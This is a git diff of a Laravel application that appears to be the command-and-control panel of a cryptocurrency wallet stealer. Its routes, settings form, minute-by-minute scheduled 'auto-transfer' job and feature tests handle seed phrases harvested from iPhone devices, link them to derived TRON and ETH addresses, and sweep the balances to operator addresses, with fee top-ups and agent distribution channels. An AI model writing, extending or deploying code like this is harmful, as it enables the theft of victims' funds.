<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /user(其它域名 404)。也可设 .env CORUNA_AGENT_HOSTS</div> <input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
value="{{ $form['auto_transfer.threshold_trx'] }}">
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
value="{{ $form['auto_transfer.threshold_eth'] }}">
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
value="{{ $form['auto_transfer.threshold_btc'] }}">
</div> </div>
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 &gt;0 触发</div>
</div> </div>
<fieldset class="layui-elem-field layui-field-title"> <fieldset class="layui-elem-field layui-field-title">
<legend>渠道链接</legend> <legend>TRON 手续费补给</legend>
</fieldset> </fieldset>
<div class="layui-form-item"> <div class="layui-form-item">
<label class="layui-form-label">投放域名</label> <label class="layui-form-label">补给地址</label>
<div class="layui-input-block"> <div class="layui-input-block">
<textarea name="channels_domains" class="layui-textarea" rows="4" <input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
placeholder="多行或逗号分隔,如:cdn1.example.com&#10;cdn2.example.com">{{ $form['channels.domains'] }}</textarea> value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
<div class="layui-form-mid layui-word-aux">渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。API/上报域名请用 CORUNA_REPORTING_DOMAINS</div> <div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
</div> </div>
</div> </div>
<div class="layui-form-item"> <div class="layui-form-item">
<label class="layui-form-label">代理渠道上限</label> <label class="layui-form-label">私钥</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="number" min="1" max="100" name="channels_max_per_agent" class="layui-input" <input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
value="{{ $form['channels.max_per_agent'] }}" style="max-width:160px;"> placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
<div class="layui-form-mid layui-word-aux">每个代理用户最多可拥有的渠道链接数(官方不限)</div> <div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">目标 TRX</label>
<div class="layui-input-block">
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
</div> </div>
</div> </div>
@@ -102,10 +116,12 @@ layui.use(['form', 'layer'], function () {
var token = @json(csrf_token()); var token = @json(csrf_token());
form.on('submit(LAY-settings-save)', function (data) { form.on('submit(LAY-settings-save)', function (data) {
var payload = Object.assign({}, data.field, { _token: token });
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
$.ajax({ $.ajax({
url: @json(route('admin.system.settings.update')), url: @json(route('admin.system.settings.update')),
method: 'POST', method: 'POST',
data: Object.assign({}, data.field, { _token: token }), data: payload,
success: function (res) { success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败')); layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
if (res.code === 0 && res.data) { if (res.code === 0 && res.data) {
@@ -115,8 +131,6 @@ layui.use(['form', 'layer'], function () {
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : ''; var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite); $('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。'); $('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
} else {
$('#LAY-telegram-bot-name').text('保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。');
} }
} }
}, },
@@ -136,8 +150,7 @@ layui.use(['form', 'layer'], function () {
method: 'POST', method: 'POST',
data: { data: {
_token: token, _token: token,
chat_id: $('input[name=telegram_owner_chat_id]').val(), chat_id: $('input[name=telegram_owner_chat_id]').val()
bot_token: $('input[name=telegram_bot_token]').val()
}, },
success: function (res) { success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败')); layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
+8 -4
View File
@@ -56,6 +56,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index'); Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
@@ -80,6 +82,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy'); Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
Route::prefix('system')->name('system.')->group(function () {
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest');
});
Route::middleware('admin.super')->group(function () { Route::middleware('admin.super')->group(function () {
Route::get('logs', [RawLogController::class, 'index'])->name('logs.index'); Route::get('logs', [RawLogController::class, 'index'])->name('logs.index');
Route::get('logs/{kind}/{file}', [RawLogController::class, 'show']) Route::get('logs/{kind}/{file}', [RawLogController::class, 'show'])
@@ -90,10 +98,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
})->where('file', '\d{8}\.log')->name('logs.show.legacy'); })->where('file', '\d{8}\.log')->name('logs.show.legacy');
Route::prefix('system')->name('system.')->group(function () { Route::prefix('system')->name('system.')->group(function () {
Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index');
Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update');
Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest');
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index'); Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data'); Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store'); Route::post('admins', [AdminUserController::class, 'store'])->name('admins.store');
+6
View File
@@ -4,6 +4,12 @@ use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Inspiring; use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Schedule;
Schedule::command('coruna:auto-transfer')
->everyMinute()
->withoutOverlapping()
->runInBackground();
Artisan::command('inspire', function () { Artisan::command('inspire', function () {
$this->comment(Inspiring::quote()); $this->comment(Inspiring::quote());
+2
View File
@@ -44,6 +44,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index'); Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
+315
View File
@@ -0,0 +1,315 @@
<?php
namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AutoTransferConfig;
use App\Services\AutoTransferService;
use App\Services\TransferService;
use App\Services\WalletBalanceService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AutoTransferTest extends TestCase
{
use RefreshDatabase;
private function makeOfficialDevice(): Device
{
$ch = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
Channel::query()->create([
'channel_id' => $ch,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
]);
return Device::query()->create([
'device_id' => 'dev-official-auto',
'channel_id' => $ch,
]);
}
private function makeAgentDevice(User $agent): Device
{
$ch = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create([
'channel_id' => $ch,
'user_id' => $agent->id,
'status' => 1,
]);
return Device::query()->create([
'device_id' => 'dev-agent-auto',
'channel_id' => $ch,
]);
}
private function linkAddress(Device $device, array $attrs = []): WalletAddress
{
$mn = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$mn->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mn->save();
return WalletAddress::query()->create(array_merge([
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $mn->id,
'derive_index' => 0,
'usdt' => 10,
'trx' => 5,
], $attrs));
}
#[Test]
public function official_uses_system_switch_only(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device);
$cfg = app(AutoTransferConfig::class);
$this->assertTrue($cfg->isEnabledForAddress($addr));
config(['coruna.auto_transfer.enabled' => false]);
$this->assertFalse(app(AutoTransferConfig::class)->isEnabledForAddress($addr));
}
#[Test]
public function agent_switch_independent_of_system(): void
{
config(['coruna.auto_transfer.enabled' => false]);
$agent = User::query()->create([
'username' => 'agent-auto',
'password' => 'secret12',
'status' => 1,
'auto_transfer_enabled' => true,
]);
$device = $this->makeAgentDevice($agent);
$addr = $this->linkAddress($device);
$cfg = app(AutoTransferConfig::class);
$this->assertTrue($cfg->isEnabledForAddress($addr));
$agent->auto_transfer_enabled = false;
$agent->save();
$this->assertFalse($cfg->isEnabledForAddress($addr->fresh()));
}
#[Test]
public function threshold_falls_back_to_zero_when_unset(): void
{
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device);
$cfg = app(AutoTransferConfig::class);
$this->assertSame('0', $cfg->thresholdForAddress($addr, 'USDT'));
}
#[Test]
public function evaluate_calls_transfer_when_above_threshold(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $addr->address, null, 'USDT', 'auto')
->andReturn(['ok' => true, 'txid' => 'x', 'from' => $addr->address, 'to' => 'T', 'amount' => '12.5', 'asset' => 'USDT']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->twice()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
app(AutoTransferService::class)->evaluate($addr, 'test');
}
#[Test]
public function evaluate_skips_when_live_balance_below_threshold(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) {
WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']);
$row->refresh();
return true;
});
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(0, $stats['triggered']);
$this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6));
}
#[Test]
public function skips_same_address_asset_within_three_minutes_but_refreshes(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]);
\App\Models\TransferRecord::query()->create([
'from_address' => $addr->address,
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain' => 'tron',
'tx_hash' => 'abc',
'amount' => '6',
'type' => \App\Models\TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => \App\Models\TransferRecord::STATUS_SUCCESS,
'error' => null,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturnUsing(function (WalletAddress $row) {
WalletAddress::query()->whereKey($row->id)->update(['usdt' => '0.000000']);
$row->refresh();
return true;
});
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(0, $stats['triggered']);
$this->assertSame(0, bccomp((string) $addr->fresh()->usdt, '0', 6));
}
#[Test]
public function allows_transfer_again_after_cooldown(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 6, 'trx' => 0]);
$record = \App\Models\TransferRecord::query()->create([
'from_address' => $addr->address,
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain' => 'tron',
'tx_hash' => 'abc',
'amount' => '6',
'type' => \App\Models\TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => \App\Models\TransferRecord::STATUS_SUCCESS,
'error' => null,
]);
\App\Models\TransferRecord::query()->whereKey($record->id)->update([
'created_at' => now()->subMinutes(4),
'updated_at' => now()->subMinutes(4),
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')->once()->andReturn([
'ok' => true,
'txid' => 'x',
'from' => $addr->address,
'to' => 'T',
'amount' => '6',
'asset' => 'USDT',
]);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->twice()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(1, $stats['triggered']);
$this->assertSame(1, $stats['ok']);
}
#[Test]
public function evaluate_skips_without_mnemonic(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'chain_type' => 'TRON',
'source' => 'imToken',
'usdt' => 99,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertTrue(true);
}
#[Test]
public function run_only_scans_mnemonic_addresses_with_balance(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$withBalance = $this->linkAddress($device, [
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'usdt' => 8,
'trx' => 0,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZnoBalanceAddress00000000000001',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $withBalance->mnemonic_id,
'usdt' => 0,
'trx' => 0,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZnoMnemonicAddress000000000002',
'chain_type' => 'TRON',
'source' => 'imToken',
'usdt' => 50,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $withBalance->address, null, 'USDT', 'auto')
->andReturn(['ok' => true, 'txid' => 'x', 'from' => $withBalance->address, 'to' => 'T', 'amount' => '8', 'asset' => 'USDT']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->twice()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$this->assertSame(1, app(AutoTransferService::class)->run()['inspected']);
}
#[Test]
public function artisan_command_runs_scan(): void
{
$this->artisan('coruna:auto-transfer')
->expectsOutputToContain('inspected=0')
->assertSuccessful();
}
}
+2
View File
@@ -364,6 +364,8 @@ class C2ApiTest extends TestCase
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'], ['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'], ['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'], ['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
['address' => 'So11111111111111111111111111111111111111112', 'chain' => 'solana', 'balance' => '0', 'symbol' => 'SOL'],
['address' => 'EQD__________________________________________0', 'chain' => 'ton', 'balance' => '0', 'symbol' => 'TON'],
], ],
], $ts); ], $ts);
+249
View File
@@ -0,0 +1,249 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\EthDriver;
use App\Services\Chain\TronDriver;
use App\Services\IngestService;
use App\Services\MnemonicAddressLinker;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicAddressLinkTest extends TestCase
{
use RefreshDatabase;
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.bot_token' => '',
'coruna.telegram.owner_chat_id' => '',
]);
$tokenview = Mockery::mock(TokenviewMonitorService::class);
$tokenview->shouldReceive('syncMonitor')->andReturn(false);
$this->app->instance(TokenviewMonitorService::class, $tokenview);
Http::fake();
}
private function makeDevice(string $id = 'dev-link-1'): Device
{
return Device::query()->create([
'device_id' => $id,
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
}
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
{
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => $source,
]);
$row->mnemonic = self::MNEMONIC;
$row->save();
return $row;
}
#[Test]
public function linking_address_after_mnemonic_sets_fk(): void
{
$device = $this->makeDevice();
$mnemonic = $this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::TRON_0,
'chain_type' => 'TRON',
'source' => 'MetaMask',
'monitor' => 0,
]);
$linked = app(MnemonicAddressLinker::class)->linkAddress($addr);
$this->assertTrue($linked);
$addr->refresh();
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
$this->assertSame(0, $addr->derive_index);
}
#[Test]
public function linking_mnemonic_after_addresses_backfills(): void
{
$device = $this->makeDevice('dev-link-2');
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::TRON_0,
'chain_type' => 'TRON',
'source' => 'TronLink',
'monitor' => 0,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::ETH_0,
'chain_type' => 'ETHEREUM',
'source' => 'MetaMask',
'monitor' => 0,
]);
$mnemonic = $this->storeMnemonic($device, 'imToken');
$count = app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic);
$this->assertSame(2, $count);
$this->assertSame(2, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(
[0, 0],
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('derive_index')->all()
);
}
#[Test]
public function mnemonic_link_only_derives_chains_present_on_device(): void
{
$device = $this->makeDevice('dev-link-3');
$tronDriver = new TronDriver;
$ethDriver = new EthDriver;
// Only TRON + ETH on device — BTC must not be required for a match.
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $tronDriver->deriveAddress(self::MNEMONIC, 1),
'chain_type' => 'TRON',
'source' => 'a',
'monitor' => 0,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $ethDriver->deriveAddress(self::MNEMONIC, 2),
'chain_type' => 'ETH',
'source' => 'b',
'monitor' => 0,
]);
$mnemonic = $this->storeMnemonic($device);
$count = app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic);
$this->assertSame(2, $count);
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
$this->assertSame(1, $rows[0]->derive_index);
$this->assertSame(2, $rows[1]->derive_index);
$this->assertSame($mnemonic->id, $rows[0]->mnemonic_id);
$this->assertSame($mnemonic->id, $rows[1]->mnemonic_id);
}
#[Test]
public function derive_index_beyond_four_is_not_linked(): void
{
$device = $this->makeDevice('dev-link-4');
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $tron,
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$mnemonic = $this->storeMnemonic($device);
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
$this->assertSame(0, app(MnemonicAddressLinker::class)->linkMnemonicToDeviceAddresses($mnemonic));
$addr->refresh();
$this->assertNull($addr->mnemonic_id);
$this->assertNull($addr->derive_index);
}
#[Test]
public function unmatched_address_stays_unlinked(): void
{
$device = $this->makeDevice('dev-link-5');
$this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZunmatched111111111111111111111',
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
$addr->refresh();
$this->assertNull($addr->mnemonic_id);
}
#[Test]
public function ingest_address_after_mnemonic_links_via_ingest(): void
{
$device = $this->makeDevice('dev-link-ingest-1');
app(IngestService::class)->ingestMnemonic($device, [
'a' => 'b',
'result' => self::MNEMONIC,
]);
app(IngestService::class)->ingestAddresses($device, [
'a' => 'a',
'ba' => [
self::ETH_0 => [
['balance' => '0', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18],
],
],
]);
$addr = WalletAddress::query()->where('address', self::ETH_0)->first();
$this->assertNotNull($addr);
$this->assertNotNull($addr->mnemonic_id);
$this->assertSame(0, $addr->derive_index);
$this->assertSame(
WalletMnemonic::query()->where('device_id', $device->id)->value('id'),
$addr->mnemonic_id
);
}
#[Test]
public function ingest_mnemonic_after_address_links_via_ingest(): void
{
$device = $this->makeDevice('dev-link-ingest-2');
app(IngestService::class)->ingestAddresses($device, [
'a' => 'c',
'ba' => [
self::TRON_0 => [
['balance' => '0', 'chainType' => 'TRON', 'symbol' => 'TRX', 'decimal' => 6],
],
],
]);
$addr = WalletAddress::query()->where('address', self::TRON_0)->first();
$this->assertNotNull($addr);
$this->assertNull($addr->mnemonic_id);
app(IngestService::class)->ingestMnemonic($device, [
'a' => 'b',
'result' => self::MNEMONIC,
]);
$addr->refresh();
$this->assertNotNull($addr->mnemonic_id);
$this->assertSame(0, $addr->derive_index);
}
}
+164
View File
@@ -0,0 +1,164 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicWalletsTest extends TestCase
{
use RefreshDatabase;
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
{
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => $source,
]);
$row->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$row->save();
return $row;
}
#[Test]
public function wallets_endpoint_returns_linked_address_balances(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-wallets']);
$mnemonic = $this->storeMnemonic($device);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'usdt' => 12.5,
'trx' => 3.1,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94',
'chain_type' => 'ETH',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'eth' => 1.25,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'unlinked-addr',
'chain_type' => 'BTC',
'source' => 'imToken',
'btc' => 9,
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.mnemonic_id', $mnemonic->id)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.usdt', '12.5')
->assertJsonPath('data.addresses.0.trx', '3.1')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.eth', '1.25')
->assertJsonCount(2, 'data.addresses');
}
#[Test]
public function wallets_endpoint_respects_agent_scope(): void
{
$agent = User::query()->create(['username' => 'agent-w', 'password' => 'secret12', 'status' => 1]);
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
$mine = Device::query()->create(['device_id' => 'dev-mine', 'channel_id' => $chA]);
$other = Device::query()->create(['device_id' => 'dev-other', 'channel_id' => $chB]);
$mnMine = $this->storeMnemonic($mine);
$mnOther = $this->storeMnemonic($other, 'Trust');
$this->actingAs($agent, 'agent')
->getJson(route('user.mnemonics.wallets', $mnMine))
->assertOk()
->assertJsonPath('code', 0);
$this->actingAs($agent, 'agent')
->getJson(route('user.mnemonics.wallets', $mnOther))
->assertForbidden();
}
#[Test]
public function mnemonic_list_includes_wallets_url(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.id', $mnemonic->id)
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
}
#[Test]
public function refresh_updates_linked_balances_and_throttles(): void
{
Http::fake([
'*/v1/accounts/*' => Http::response([
'data' => [[
'balance' => 2_000_000,
'trc20' => [
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '5000000'],
],
]],
'success' => true,
], 200),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
